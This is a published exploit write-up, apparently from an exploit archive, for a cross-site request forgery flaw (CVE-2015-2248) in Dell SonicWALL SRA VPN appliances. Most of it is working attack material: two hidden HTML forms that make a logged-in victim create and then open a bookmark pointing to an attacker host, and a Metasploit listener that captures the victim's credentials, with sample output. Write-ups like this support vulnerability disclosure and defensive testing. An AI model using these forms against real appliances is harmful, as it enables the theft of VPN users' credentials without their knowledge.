64 lines
No EOL
2.9 KiB
Text
64 lines
No EOL
2.9 KiB
Text
# Exploit Title: Dell SonicWALL Secure Remote Access (SRA) Appliance Cross-Site Request Forgery
|
|
# Date: 04/28/2015
|
|
# Exploit Author: Veit Hailperin
|
|
# Vendor Homepage: www.dell.com
|
|
# Version: Dell SonicWALL SRA 7.5 prior to 7.5.1.0-38sv and 8.0 prior to 8.0.0.1-16sv
|
|
# CVE : 2015-2248
|
|
|
|
Exploitation Procedure (Outline):
|
|
1. Use CSRF to force currently logged in user to create a bookmark pointing to an endpoint controlled by the attacker.
|
|
2. Use subsequent request to call the bookmark just created. The identifier of the bookmark can be bruteforced using a single decrementing integer and causes minimal time delay.
|
|
3. Gather the credentials on the target server provided in step #1
|
|
|
|
1. Create a bookmark:
|
|
|
|
<html>
|
|
<body>
|
|
<form action="https://vulnerable.vpn-installation.tld/cgi-bin/editBookmark" method="POST">
|
|
<input type="hidden" name="bmName" value="foo" />
|
|
<input type="hidden" name="host" value="www.malicious-host.tld" />
|
|
<input type="hidden" name="description" value="bar" />
|
|
<input type="hidden" name="tabs" value="Baz" />
|
|
<input type="hidden" name="service" value="HTTP" />
|
|
<input type="hidden" name="fbaSSOEnabled" value="on" />
|
|
<input type="hidden" name="fbaSSOFormUserName" value="user" />
|
|
<input type="hidden" name="fbaSSOFormUserPassword" value="password" />
|
|
<input type="hidden" name="MC_App" value="inherit" />
|
|
<input type="hidden" name="MC_Copy" value="inherit" />
|
|
<input type="hidden" name="MC_Print" value="inherit" />
|
|
<input type="hidden" name="MC_Offline" value="inherit" />
|
|
<input type="hidden" name="name" value="name" />
|
|
<input type="hidden" name="type" value="type" />
|
|
<input type="hidden" name="owner" value="owner" />
|
|
<input type="hidden" name="cmd" value="add" />
|
|
<input type="hidden" name="wantBmData" value="true" />
|
|
<input type="hidden" name="ok" value="OK" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
2. Call the newly created bookmark
|
|
This might require some guesswork, because we don't know which value bookmarkAccessed needs to have.
|
|
|
|
<html>
|
|
<body>
|
|
<form action="https://vulnerable.vpn-installation.tld/cgi-bin/http">
|
|
<input type="hidden" name="HOST" value="www.malicious-host.tld" />
|
|
<input type="hidden" name="bookmarkAccessed" value="4" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
3. Set up a listener
|
|
E.g. metasploit payload
|
|
use auxiliary/server/capture/http_basic
|
|
|
|
msf auxiliary(http_basic) >
|
|
[*] Listening on 0.0.0.0:80...
|
|
[*] Using URL: http://0.0.0.0:80/
|
|
[*] Local IP: http://www.malicious-host.tld:80/
|
|
[*] Server started.
|
|
[*] vulnerable.vpn-installation.tld http_basic - Sending 401 to client vulnerable.vpn-installation.tld
|
|
[+] vulnerable.vpn-installation.tld http_basic - vulnerable.vpn-installation.tld - Credential collected: "user:password" |